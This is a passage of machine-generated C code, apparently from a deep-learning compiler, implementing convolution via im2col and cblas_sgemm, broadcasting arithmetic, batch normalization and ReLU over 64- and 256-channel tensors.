{\nx1213 = 0;\n} else {\nx1213 = x1121;\n}\nint32_t x1216;\nif (x1185) {\nx1216 = 0;\n} else {\nx1216 = 1;\n}\nfor(int x1217=0; x1217 < 64; x1217++) {\nint32_t x1229 = x1122 * x1217;\nint32_t x1223 = x1210 * x1217;\nfor(int x1219=0; x1219 < x1201; x1219++) {\nint32_t x1230 = x1213 * x1219;\nint32_t x1231 = x1229 + x1230;\nint32_t x1236 = x1216 * x1219;\nint32_t x1225 = x1209 * x1219;\nfor(int x1221=0; x1221 < x1203; x1221++) {\nint32_t x1232 = x1214 * x1221;\nint32_t x1233 = x1231 + x1232;\nint32_t x1227 = x1203 * x1221;\nfor(int x1222=0; x1222 < x1203; x1222++) {\nint32_t x1234 = x1215 * x1222;\nint32_t x1235 = x1233 + x1234;\nfloat x1237 = x1124[x1235];\nfloat x1238 = x26[x1236];\nint32_t x1224 = x1222 + x1223;\nint32_t x1226 = x1224 + x1225;\nint32_t x1228 = x1226 + x1227;\nfloat x1239 = x1237 * x1238;\nx1212[x1228] = x1239;\n\n}\n\n}\n\n}\n\n}\nint32_t x1249 = 0;\nint32_t x1250 = 1;\nx1250 *= 1;\nx1249 += 1;\nx1250 *= 1;\nx1250 *= 1;\nint32_t x1255 = x1249;\nbool x1256 = x1255 >= 2;\nif (x1256) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1261 = x1255 == 0;\nif (x1261) {\nint32_t x1262 = x1250;\nbool x1263 = x1262 == 64;\nif (x1263) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x1270 = x1250;\nbool x1272 = x1201 == 1;\nint32_t x1271 = 64 / x1270;\nbool x1273 = x1271 == 1;\nbool x1277;\nif (x454) {\nbool x1274 = x1272 || x1273;\nbool x1275 = x1201 == x1271;\nbool x1276 = x1274 || x1275;\nx1277 = x1276;\n} else {\nx1277 = false;\n}\nbool x1281;\nif (x1277) {\nx1281 = x1280;\n} else {\nx1281 = false;\n}\nbool x1282;\nif (x1281) {\nx1282 = x1280;\n} else {\nx1282 = false;\n}\nif (x1282) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x1201,x1203,x1203,1,x1271,1,1);\nassert(false && \"\");\n}\nbool x1288 = x1201 <= x1271;\nint32_t x1289;\nif (x1288) {\nx1289 = x1271;\n} else {\nx1289 = x1201;\n}\nint32_t x1298 = x1289 * x1297;\nint32_t x1299 = 64 * x1298;\nfloat* x1300 = (float*)myMalloc(x1299 * sizeof(float));;\nint32_t x1301;\nif (x1272) {\nx1301 = 0;\n} else {\nx1301 = x1209;\n}\nint32_t x1304;\nif (x1273) {\nx1304 = 0;\n} else {\nx1304 = 1;\n}\nfor(int x1305=0; x1305 < 64; x1305++) {\nint32_t x1317 = x1210 * x1305;\nint32_t x1311 = x1298 * x1305;\nfor(int x1307=0; x1307 < x1289; x1307++) {\nint32_t x1318 = x1301 * x1307;\nint32_t x1319 = x1317 + x1318;\nint32_t x1324 = x1304 * x1307;\nint32_t x1313 = x1297 * x1307;\nfor(int x1309=0; x1309 < x1291; x1309++) {\nint32_t x1320 = x1302 * x1309;\nint32_t x1321 = x1319 + x1320;\nint32_t x1315 = x1291 * x1309;\nfor(int x1310=0; x1310 < x1291; x1310++) {\nint32_t x1322 = x1303 * x1310;\nint32_t x1323 = x1321 + x1322;\nfloat x1325 = x1212[x1323];\nfloat x1326 = x53[x1324];\nint32_t x1312 = x1310 + x1311;\nint32_t x1314 = x1312 + x1313;\nint32_t x1316 = x1314 + x1315;\nfloat x1327 = x1325 + x1326;\nx1300[x1316] = x1327;\n\n}\n\n}\n\n}\n\n}\nfloat* x1337 = (float*)myMalloc(x1299 * sizeof(float));;\nfor(int x1339=0; x1339 < x1299; x1339++) {\nfloat x1340 = x1300[x1339];\nbool x1341 = x1340 < 0.0f;\nif (x1341) {\nx1337[x1339] = 0.0f;\n} else {\nfloat x1344 = x1300[x1339];\nx1337[x1339] = x1344;\n}\n\n}\nfloat* x1359 = (float*)myMalloc(x1358 * sizeof(float));;\nint32_t x1360 = 9 * x1289;\nint32_t x1363 = 64 * x1360;\nint32_t x1364 = x1363 * x1354;\nfloat* x1365 = (float*)myMalloc(x1364 * sizeof(float));;\nint32_t x1361 = x1360 * x1354;\nint32_t x1373 = x1289 * 3;\nint32_t x1374 = x1373 * 3;\nfor(int x1366=0; x1366 < 64; x1366++) {\nint32_t x1367 = x1366 * x1298;\nfloat* x1368 = x1337+x1367;\nint32_t x1369 = x1366 * x1355;\nfloat* x1370 = x1359+x1369;\nint32_t x1371 = x1366 * x1361;\nfloat* x1372 = x1365+x1371;\nfor(int x1376=0; x1376 < x1374; x1376++) {\nint32_t x1377 = x1376 / 9;\nint32_t x1381 = x1377 * 3;\nint32_t x1382 = x1381 * 3;\nint32_t x1383 = x1382 * x1353;\nint32_t x1384 = x1383 * x1353;\nint32_t x1378 = x1376 % 9;\nint32_t x1379 = x1378 / 3;\nint32_t x1385 = x1379 * 3;\nint32_t x1386 = x1385 * x1353;\nint32_t x1387 = x1386 * x1353;\nint32_t x1388 = x1384 + x1387;\nint32_t x1380 = x1378 % 3;\nint32_t x1389 = x1380 * x1353;\nint32_t x1390 = x1389 * x1353;\nint32_t x1391 = x1388 + x1390;\nfloat* x1392 = x1372+x1391;\nint32_t x1393 = x1377 * x1291;\nint32_t x1394 = x1393 * x1291;\nfloat* x1395 = x1368+x1394;\nint32_t x1408 = 1 - x1380;\nbool x1409 = x1408 > 0;\nint32_t x1410;\nif (x1409) {\nx1410 = x1408;\n} else {\nx1410 = 0;\n}\nint32_t x1411 = 3 - x1380;\nint32_t x1412 = x1411 - 1;\nint32_t x1413 = 1 - x1412;\nbool x1414 = x1413 > 0;\nint32_t x1415;\nif (x1414) {\nx1415 = x1413;\n} else {\nx1415 = 0;\n}\nint32_t x1416 = x1353 - x1415;\nint32_t x1417 = x1416 - x1410;\nbool x1418 = x1417 <= 0;\nbool x1422 = x1410 > 0;\nint32_t x1407 = -1 + x1380;\nbool x1435 = x1415 > 0;\nfor(int x1397=0; x1397 < x1353; x1397++) {\nint32_t x1398 = x1397 - 1;\nint32_t x1399 = x1398 + x1379;\nbool x1400 = x1399 < 0;\nbool x1401 = x1399 >= x1291;\nbool x1402 = x1400 || x1401;\nif (x1402) {\nint32_t x1403 = x1397 * x1353;\nfloat* x1404 = x1392+x1403;\nmemset(x1404, 0, 4 * x1353);;\n} else {\nif (x1418) {\nint32_t x1403 = x1397 * x1353;\nfloat* x1419 = x1392+x1403;\nmemset(x1419, 0, 4 * x1353);;\n} else {\nint32_t x1403 = x1397 * x1353;\nif (x1422) {\nfloat* x1423 = x1392+x1403;\nmemset(x1423, 0, 4 * x1410);;\n} else {\n}\n// may have segfault here\nint32_t x1428 = x1403 + x1410;\nfloat* x1429 = x1392+x1428;\nint32_t x1430 = x1399 * x1291;\nint32_t x1431 = x1430 + x1407;\nint32_t x1432 = x1431 + x1410;\nfloat* x1433 = x1395+x1432;\nmemcpy(x1429, x1433, 4 * x1417);;\nif (x1435) {\nint32_t x1436 = x1403 + x1353;\nint32_t x1437 = x1436 - x1415;\nfloat* x1438 = x1392+x1437;\nmemset(x1438, 0, 4 * x1415);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x1354,x1360,1,x90,x1360,x1372,x1354,1,x1370,x1354);\n\n}\nint32_t x1453 = 0;\nint32_t x1454 = 1;\nx1454 *= 1;\nx1453 += 1;\nx1454 *= 1;\nx1454 *= 1;\nint32_t x1459 = x1453;\nbool x1460 = x1459 >= 2;\nif (x1460) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1465 = x1459 == 0;\nif (x1465) {\nint32_t x1466 = x1454;\nbool x1467 = x1466 == 64;\nif (x1467) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x1474 = x1454;\nint32_t x1475 = 64 / x1474;\nbool x1476 = x1475 == 1;\nbool x1479;\nif (x454) {\nbool x1477 = 64 == x1475;\nbool x1478 = x1476 || x1477;\nx1479 = x1478;\n} else {\nx1479 = false;\n}\nbool x1483;\nif (x1479) {\nx1483 = x1482;\n} else {\nx1483 = false;\n}\nbool x1484;\nif (x1483) {\nx1484 = x1482;\n} else {\nx1484 = false;\n}\nif (x1484) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,64,x1353,x1353,1,x1475,1,1);\nassert(false && \"\");\n}\nbool x1490 = 64 <= x1475;\nint32_t x1491;\nif (x1490) {\nx1491 = x1475;\n} else {\nx1491 = 64;\n}\nint32_t x1500 = x1491 * x1499;\nint32_t x1501 = 64 * x1500;\nfloat* x1502 = (float*)myMalloc(x1501 * sizeof(float));;\nint32_t x1505;\nif (x1476) {\nx1505 = 0;\n} else {\nx1505 = 1;\n}\nfor(int x1506=0; x1506 < 64; x1506++) {\nint32_t x1518 = x1355 * x1506;\nint32_t x1512 = x1500 * x1506;\nfor(int x1508=0; x1508 < x1491; x1508++) {\nint32_t x1519 = x1354 * x1508;\nint32_t x1520 = x1518 + x1519;\nint32_t x1525 = x1505 * x1508;\nint32_t x1514 = x1499 * x1508;\nfor(int x1510=0; x1510 < x1493; x1510++) {\nint32_t x1521 = x1503 * x1510;\nint32_t x1522 = x1520 + x1521;\nint32_t x1516 = x1493 * x1510;\nfor(int x1511=0; x1511 < x1493; x1511++) {\nint32_t x1523 = x1504 * x1511;\nint32_t x1524 = x1522 + x1523;\nfloat x1526 = x1359[x1524];\nfloat x1527 = x105[x1525];\nint32_t x1513 = x1511 + x1512;\nint32_t x1515 = x1513 + x1514;\nint32_t x1517 = x1515 + x1516;\nfloat x1528 = x1526 - x1527;\nx1502[x1517] = x1528;\n\n}\n\n}\n\n}\n\n}\nfloat* x1538 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x1539=0; x1539 < 64; x1539++) {\nfloat x1540 = x158[x1539];\nfloat x1541 = x1540 + 1.0E-5f;\nx1538[x1539] = x1541;\n\n}\nfloat* x1545 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x1546=0; x1546 < 64; x1546++) {\nfloat x1547 = x1538[x1546];\ndouble x1548 = (double)x1547;\ndouble x1549 = sqrt(x1548);\nfloat x1550 = (float)x1549;\nx1545[x1546] = x1550;\n\n}\nint32_t x1554 = 0;\nint32_t x1555 = 1;\nx1555 *= 1;\nx1554 += 1;\nx1555 *= 1;\nx1555 *= 1;\nint32_t x1560 = x1554;\nbool x1561 = x1560 >= 2;\nif (x1561) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1566 = x1560 == 0;\nif (x1566) {\nint32_t x1567 = x1555;\nbool x1568 = x1567 == 64;\nif (x1568) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x1575 = x1555;\nbool x1577 = x1491 == 1;\nint32_t x1576 = 64 / x1575;\nbool x1578 = x1576 == 1;\nbool x1582;\nif (x454) {\nbool x1579 = x1577 || x1578;\nbool x1580 = x1491 == x1576;\nbool x1581 = x1579 || x1580;\nx1582 = x1581;\n} else {\nx1582 = false;\n}\nbool x1586;\nif (x1582) {\nx1586 = x1585;\n} else {\nx1586 = false;\n}\nbool x1587;\nif (x1586) {\nx1587 = x1585;\n} else {\nx1587 = false;\n}\nif (x1587) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x1491,x1493,x1493,1,x1576,1,1);\nassert(false && \"\");\n}\nbool x1593 = x1491 <= x1576;\nint32_t x1594;\nif (x1593) {\nx1594 = x1576;\n} else {\nx1594 = x1491;\n}\nint32_t x1603 = x1594 * x1602;\nint32_t x1604 = 64 * x1603;\nfloat* x1605 = (float*)myMalloc(x1604 * sizeof(float));;\nint32_t x1606;\nif (x1577) {\nx1606 = 0;\n} else {\nx1606 = x1499;\n}\nint32_t x1609;\nif (x1578) {\nx1609 = 0;\n} else {\nx1609 = 1;\n}\nfor(int x1610=0; x1610 < 64; x1610++) {\nint32_t x1622 = x1500 * x1610;\nint32_t x1616 = x1603 * x1610;\nfor(int x1612=0; x1612 < x1594; x1612++) {\nint32_t x1623 = x1606 * x1612;\nint32_t x1624 = x1622 + x1623;\nint32_t x1629 = x1609 * x1612;\nint32_t x1618 = x1602 * x1612;\nfor(int x1614=0; x1614 < x1596; x1614++) {\nint32_t x1625 = x1607 * x1614;\nint32_t x1626 = x1624 + x1625;\nint32_t x1620 = x1596 * x1614;\nfor(int x1615=0; x1615 < x1596; x1615++) {\nint32_t x1627 = x1608 * x1615;\nint32_t x1628 = x1626 + x1627;\nfloat x1630 = x1502[x1628];\nfloat x1631 = x1545[x1629];\nint32_t x1617 = x1615 + x1616;\nint32_t x1619 = x1617 + x1618;\nint32_t x1621 = x1619 + x1620;\nfloat x1632 = x1630 / x1631;\nx1605[x1621] = x1632;\n\n}\n\n}\n\n}\n\n}\nint32_t x1642 = 0;\nint32_t x1643 = 1;\nx1643 *= 1;\nx1642 += 1;\nx1643 *= 1;\nx1643 *= 1;\nint32_t x1648 = x1642;\nbool x1649 = x1648 >= 2;\nif (x1649) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1654 = x1648 == 0;\nif (x1654) {\nint32_t x1655 = x1643;\nbool x1656 = x1655 == 64;\nif (x1656) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x1663 = x1643;\nbool x1665 = x1594 == 1;\nint32_t x1664 = 64 / x1663;\nbool x1666 = x1664 == 1;\nbool x1670;\nif (x454) {\nbool x1667 = x1665 || x1666;\nbool x1668 = x1594 == x1664;\nbool x1669 = x1667 || x1668;\nx1670 = x1669;\n} else {\nx1670 = false;\n}\nbool x1674;\nif (x1670) {\nx1674 = x1673;\n} else {\nx1674 = false;\n}\nbool x1675;\nif (x1674) {\nx1675 = x1673;\n} else {\nx1675 = false;\n}\nif (x1675) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x1594,x1596,x1596,1,x1664,1,1);\nassert(false && \"\");\n}\nbool x1681 = x1594 <= x1664;\nint32_t x1682;\nif (x1681) {\nx1682 = x1664;\n} else {\nx1682 = x1594;\n}\nint32_t x1691 = x1682 * x1690;\nint32_t x1692 = 64 * x1691;\nfloat* x1693 = (float*)myMalloc(x1692 * sizeof(float));;\nint32_t x1694;\nif (x1665) {\nx1694 = 0;\n} else {\nx1694 = x1602;\n}\nint32_t x1697;\nif (x1666) {\nx1697 = 0;\n} else {\nx1697 = 1;\n}\nfor(int x1698=0; x1698 < 64; x1698++) {\nint32_t x1710 = x1603 * x1698;\nint32_t x1704 = x1691 * x1698;\nfor(int x1700=0; x1700 < x1682; x1700++) {\nint32_t x1711 = x1694 * x1700;\nint32_t x1712 = x1710 + x1711;\nint32_t x1717 = x1697 * x1700;\nint32_t x1706 = x1690 * x1700;\nfor(int x1702=0; x1702 < x1684; x1702++) {\nint32_t x1713 = x1695 * x1702;\nint32_t x1714 = x1712 + x1713;\nint32_t x1708 = x1684 * x1702;\nfor(int x1703=0; x1703 < x1684; x1703++) {\nint32_t x1715 = x1696 * x1703;\nint32_t x1716 = x1714 + x1715;\nfloat x1718 = x1605[x1716];\nfloat x1719 = x164[x1717];\nint32_t x1705 = x1703 + x1704;\nint32_t x1707 = x1705 + x1706;\nint32_t x1709 = x1707 + x1708;\nfloat x1720 = x1718 * x1719;\nx1693[x1709] = x1720;\n\n}\n\n}\n\n}\n\n}\nint32_t x1730 = 0;\nint32_t x1731 = 1;\nx1731 *= 1;\nx1730 += 1;\nx1731 *= 1;\nx1731 *= 1;\nint32_t x1736 = x1730;\nbool x1737 = x1736 >= 2;\nif (x1737) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1742 = x1736 == 0;\nif (x1742) {\nint32_t x1743 = x1731;\nbool x1744 = x1743 == 64;\nif (x1744) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x1751 = x1731;\nbool x1753 = x1682 == 1;\nint32_t x1752 = 64 / x1751;\nbool x1754 = x1752 == 1;\nbool x1758;\nif (x454) {\nbool x1755 = x1753 || x1754;\nbool x1756 = x1682 == x1752;\nbool x1757 = x1755 || x1756;\nx1758 = x1757;\n} else {\nx1758 = false;\n}\nbool x1762;\nif (x1758) {\nx1762 = x1761;\n} else {\nx1762 = false;\n}\nbool x1763;\nif (x1762) {\nx1763 = x1761;\n} else {\nx1763 = false;\n}\nif (x1763) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x1682,x1684,x1684,1,x1752,1,1);\nassert(false && \"\");\n}\nbool x1769 = x1682 <= x1752;\nint32_t x1770;\nif (x1769) {\nx1770 = x1752;\n} else {\nx1770 = x1682;\n}\nint32_t x1779 = x1770 * x1778;\nint32_t x1780 = 64 * x1779;\nfloat* x1781 = (float*)myMalloc(x1780 * sizeof(float));;\nint32_t x1782;\nif (x1753) {\nx1782 = 0;\n} else {\nx1782 = x1690;\n}\nint32_t x1785;\nif (x1754) {\nx1785 = 0;\n} else {\nx1785 = 1;\n}\nfor(int x1786=0; x1786 < 64; x1786++) {\nint32_t x1798 = x1691 * x1786;\nint32_t x1792 = x1779 * x1786;\nfor(int x1788=0; x1788 < x1770; x1788++) {\nint32_t x1799 = x1782 * x1788;\nint32_t x1800 = x1798 + x1799;\nint32_t x1805 = x1785 * x1788;\nint32_t x1794 = x1778 * x1788;\nfor(int x1790=0; x1790 < x1772; x1790++) {\nint32_t x1801 = x1783 * x1790;\nint32_t x1802 = x1800 + x1801;\nint32_t x1796 = x1772 * x1790;\nfor(int x1791=0; x1791 < x1772; x1791++) {\nint32_t x1803 = x1784 * x1791;\nint32_t x1804 = x1802 + x1803;\nfloat x1806 = x1693[x1804];\nfloat x1807 = x49[x1805];\nint32_t x1793 = x1791 + x1792;\nint32_t x1795 = x1793 + x1794;\nint32_t x1797 = x1795 + x1796;\nfloat x1808 = x1806 + x1807;\nx1781[x1797] = x1808;\n\n}\n\n}\n\n}\n\n}\nfloat* x1818 = (float*)myMalloc(x1780 * sizeof(float));;\nfor(int x1820=0; x1820 < x1780; x1820++) {\nfloat x1821 = x1781[x1820];\nbool x1822 = x1821 < 0.0f;\nif (x1822) {\nx1818[x1820] = 0.0f;\n} else {\nfloat x1825 = x1781[x1820];\nx1818[x1820] = x1825;\n}\n\n}\nfloat* x1839 = (float*)myMalloc(x1838 * sizeof(float));;\nint32_t x1842 = 64 * x1770;\nint32_t x1843 = x1842 * x1834;\nfloat* x1844 = (float*)myMalloc(x1843 * sizeof(float));;\nint32_t x1840 = x1770 * x1834;\nfor(int x1845=0; x1845 < 64; x1845++) {\nint32_t x1846 = x1845 * x1779;\nfloat* x1847 = x1818+x1846;\nint32_t x1848 = x1845 * x1835;\nfloat* x1849 = x1839+x1848;\nint32_t x1850 = x1845 * x1840;\nfloat* x1851 = x1844+x1850;\nfor(int x1852=0; x1852 < x1770; x1852++) {\nint32_t x1853 = x1852 / 1;\nint32_t x1857 = x1853 * x1833;\nint32_t x1858 = x1857 * x1833;\nint32_t x1854 = x1852 % 1;\nint32_t x1855 = x1854 / 1;\nint32_t x1859 = x1855 * x1833;\nint32_t x1860 = x1859 * x1833;\nint32_t x1861 = x1858 + x1860;\nint32_t x1856 = x1854 % 1;\nint32_t x1862 = x1856 * x1833;\nint32_t x1863 = x1862 * x1833;\nint32_t x1864 = x1861 + x1863;\nfloat* x1865 = x1851+x1864;\nint32_t x1866 = x1853 * x1772;\nint32_t x1867 = x1866 * x1772;\nfloat* x1868 = x1847+x1867;\nfor(int x1870=0; x1870 < x1833; x1870++) {\nint32_t x1872 = x1870 * x1833;\nfloat* x1873 = x1865+x1872;\nint32_t x1871 = x1870 + x1855;\nint32_t x1874 = x1871 * x1772;\nint32_t x1875 = x1874 + x1856;\nfloat* x1876 = x1868+x1875;\nmemcpy(x1873, x1876, 4 * x1833);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x1834,x1770,1,x32,x1770,x1851,x1834,1,x1849,x1834);\n\n}\nint32_t x1885 = 0;\nint32_t x1886 = 1;\nx1886 *= 1;\nx1885 += 1;\nx1886 *= 1;\nx1886 *= 1;\nint32_t x1891 = x1885;\nbool x1892 = x1891 >= 2;\nif (x1892) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1897 = x1891 == 0;\nif (x1897) {\nint32_t x1898 = x1886;\nbool x1899 = x1898 == 256;\nif (x1899) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x1906 = x1886;\nint32_t x1907 = 256 / x1906;\nbool x1908 = x1907 == 1;\nbool x1911;\nif (x454) {\nbool x1909 = 256 == x1907;\nbool x1910 = x1908 || x1909;\nx1911 = x1910;\n} else {\nx1911 = false;\n}\nbool x1915;\nif (x1911) {\nx1915 = x1914;\n} else {\nx1915 = false;\n}\nbool x1916;\nif (x1915) {\nx1916 = x1914;\n} else {\nx1916 = false;\n}\nif (x1916) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x1833,x1833,1,x1907,1,1);\nassert(false && \"\");\n}\nbool x1922 = 256 <= x1907;\nint32_t x1923;\nif (x1922) {\nx1923 = x1907;\n} else {\nx1923 = 256;\n}\nint32_t x1932 = x1923 * x1931;\nint32_t x1933 = 64 * x1932;\nfloat* x1934 = (float*)myMalloc(x1933 * sizeof(float));;\nint32_t x1937;\nif (x1908) {\nx1937 = 0;\n} else {\nx1937 = 1;\n}\nfor(int x1938=0; x1938 < 64; x1938++) {\nint32_t x1950 = x1835 * x1938;\nint32_t x1944 = x1932 * x1938;\nfor(int x1940=0; x1940 < x1923; x1940++) {\nint32_t x1951 = x1834 * x1940;\nint32_t x1952 = x1950 + x1951;\nint32_t x1957 = x1937 * x1940;\nint32_t x1946 = x1931 * x1940;\nfor(int x1942=0; x1942 < x1925; x1942++) {\nint32_t x1953 = x1935 * x1942;\nint32_t x1954 = x1952 + x1953;\nint32_t x1948 = x1925 * x1942;\nfor(int x1943=0; x1943 < x1925; x1943++) {\nint32_t x1955 = x1936 * x1943;\nint32_t x1956 = x1954 + x1955;\nfloat x1958 = x1839[x1956];\nfloat x1959 = x71[x1957];\nint32_t x1945 = x1943 + x1944;\nint32_t x1947 = x1945 + x1946;\nint32_t x1949 = x1947 + x1948;\nfloat x1960 = x1958 - x1959;\nx1934[x1949] = x1960;\n\n}\n\n}\n\n}\n\n}\nfloat* x1970 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x1972=0; x1972 < 256; x1972++) {\nfloat x1973 = x36[x1972];\nfloat x1974 = x1973 + 1.0E-5f;\nx1970[x1972] = x1974;\n\n}\nfloat* x1978 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x1979=0; x1979 < 256; x1979++) {\nfloat x1980 = x1970[x1979];\ndouble x1981 = (double)x1980;\ndouble x1982 = sqrt(x1981);\nfloat x1983 = (float)x1982;\nx1978[x1979] = x1983;\n\n}\nint32_t x1987 = 0;\nint32_t x1988 = 1;\nx1988 *= 1;\nx1987 += 1;\nx1988 *= 1;\nx1988 *= 1;\nint32_t x1993 = x1987;\nbool x1994 = x1993 >= 2;\nif (x1994) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1999 = x1993 == 0;\nif (x1999) {\nint32_t x2000 = x1988;\nbool x2001 = x2000 == 256;\nif (x2001) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2008 = x1988;\nbool x2010 = x1923 == 1;\nint32_t x2009 = 256 / x2008;\nbool x2011 = x2009 == 1;\nbool x2015;\nif (x454) {\nbool x2012 = x2010 || x2011;\nbool x2013 = x1923 == x2009;\nbool x2014 = x2012 || x2013;\nx2015 = x2014;\n} else {\nx2015 = false;\n}\nbool x2019;\nif (x2015) {\nx2019 = x2018;\n} else {\nx2019 = false;\n}\nbool x2020;\nif (x2019) {\nx2020 = x2018;\n} else {\nx2020 = false;\n}\nif (x2020) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x1923,x1925,x1925,1,x2009,1,1);\nassert(false && \"\");\n}\nbool x2026 = x1923 <= x2009;\nint32_t x2027;\nif (x2026) {\nx2027 = x2009;\n} else {\nx2027 = x1923;\n}\nint32_t x2036 = x2027 * x2035;\nint32_t x2037 = 64 * x2036;\nfloat* x2038 = (float*)myMalloc(x2037 * sizeof(float));;\nint32_t x2039;\nif (x2010) {\nx2039 = 0;\n} else {\nx2039 = x1931;\n}\nint32_t x2042;\nif (x2011) {\nx2042 = 0;\n} else {\nx2042 = 1;\n}\nfor(int x2043=0; x2043 < 64; x2043++) {\nint32_t x2055 = x1932 * x2043;\nint32_t x2049 = x2036 * x2043;\nfor(int x2045=0; x2045 < x2027; x2045++) {\nint32_t x2056 = x2039 * x2045;\nint32_t x2057 = x2055 + x2056;\nint32_t x2062 = x2042 * x2045;\nint32_t x2051 = x2035 * x2045;\nfor(int x2047=0; x2047 < x2029; x2047++) {\nint32_t x2058 = x2040 * x2047;\nint32_t x2059 = x2057 + x2058;\nint32_t x2053 = x2029 * x2047;\nfor(int x2048=0; x2048 < x2029; x2048++) {\nint32_t x2060 = x2041 * x2048;\nint32_t x2061 = x2059 + x2060;\nfloat x2063 = x1934[x2061];\nfloat x2064 = x1978[x2062];\nint32_t x2050 = x2048 + x2049;\nint32_t x2052 = x2050 + x2051;\nint32_t x2054 = x2052 + x2053;\nfloat x2065 = x2063 / x2064;\nx2038[x2054] = x2065;\n\n}\n\n}\n\n}\n\n}\nint32_t x2075 = 0;\nint32_t x2076 = 1;\nx2076 *= 1;\nx2075 += 1;\nx2076 *= 1;\nx2076 *= 1;\nint32_t x2081 = x2075;\nbool x2082 = x2081 >= 2;\nif (x2082) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2087 = x2081 == 0;\nif (x2087) {\nint32_t x2088 = x2076;\nbool x2089 = x2088 == 256;\nif (x2089) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2096 = x2076;\nbool x2098 = x2027 == 1;\nint32_t x2097 = 256 / x2096;\nbool x2099 = x2097 == 1;\nbool x2103;\nif (x454) {\nbool x2100 = x2098 || x2099;\nbool x2101 = x2027 == x2097;\nbool x2102 = x2100 || x2101;\nx2103 = x2102;\n} else {\nx2103 = false;\n}\nbool x2107;\nif (x2103) {\nx2107 = x2106;\n} else {\nx2107 = false;\n}\nbool x2108;\nif (x2107) {\nx2108 = x2106;\n} else {\nx2108 = false;\n}\nif (x2108) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2027,x2029,x2029,1,x2097,1,1);\nassert(false && \"\");\n}\nbool x2114 = x2027 <= x2097;\nint32_t x2115;\nif (x2114) {\nx2115 = x2097;\n} else {\nx2115 = x2027;\n}\nint32_t x2124 = x2115 * x2123;\nint32_t x2125 = 64 * x2124;\nfloat* x2126 = (float*)myMalloc(x2125 * sizeof(float));;\nint32_t x2127;\nif (x2098) {\nx2127 = 0;\n} else {\nx2127 = x2035;\n}\nint32_t x2130;\nif (x2099) {\nx2130 = 0;\n} else {\nx2130 = 1;\n}\nfor(int x2131=0; x2131 < 64; x2131++) {\nint32_t x2143 = x2036 * x2131;\nint32_t x2137 = x2124 * x2131;\nfor(int x2133=0; x2133 < x2115; x2133++) {\nint32_t x2144 = x2127 * x2133;\nint32_t x2145 = x2143 + x2144;\nint32_t x2150 = x2130 * x2133;\nint32_t x2139 = x2123 * x2133;\nfor(int x2135=0; x2135 < x2117; x2135++) {\nint32_t x2146 = x2128 * x2135;\nint32_t x2147 = x2145 + x2146;\nint32_t x2141 = x2117 * x2135;\nfor(int x2136=0; x2136 < x2117; x2136++) {\nint32_t x2148 = x2129 * x2136;\nint32_t x2149 = x2147 + x2148;\nfloat x2151 = x2038[x2149];\nfloat x2152 = x199[x2150];\nint32_t x2138 = x2136 + x2137;\nint32_t x2140 = x2138 + x2139;\nint32_t x2142 = x2140 + x2141;\nfloat x2153 = x2151 * x2152;\nx2126[x2142] = x2153;\n\n}\n\n}\n\n}\n\n}\nint32_t x2163 = 0;\nint32_t x2164 = 1;\nx2164 *= 1;\nx2163 += 1;\nx2164 *= 1;\nx2164 *= 1;\nint32_t x2169 = x2163;\nbool x2170 = x2169 >= 2;\nif (x2170) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2175 = x2169 == 0;\nif (x2175) {\nint32_t x2176 = x2164;\nbool x2177 = x2176 == 256;\nif (x2177) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2184 = x2164;\nbool x2186 = x2115 == 1;\nint32_t x2185 = 256 / x2184;\nbool x2187 = x2185 == 1;\nbool x2191;\nif (x454) {\nbool x2188 = x2186 || x2187;\nbool x2189 = x2115 == x2185;\nbool x2190 = x2188 || x2189;\nx2191 = x2190;\n} else {\nx2191 = false;\n}\nbool x2195;\nif (x2191) {\nx2195 = x2194;\n} else {\nx2195 = 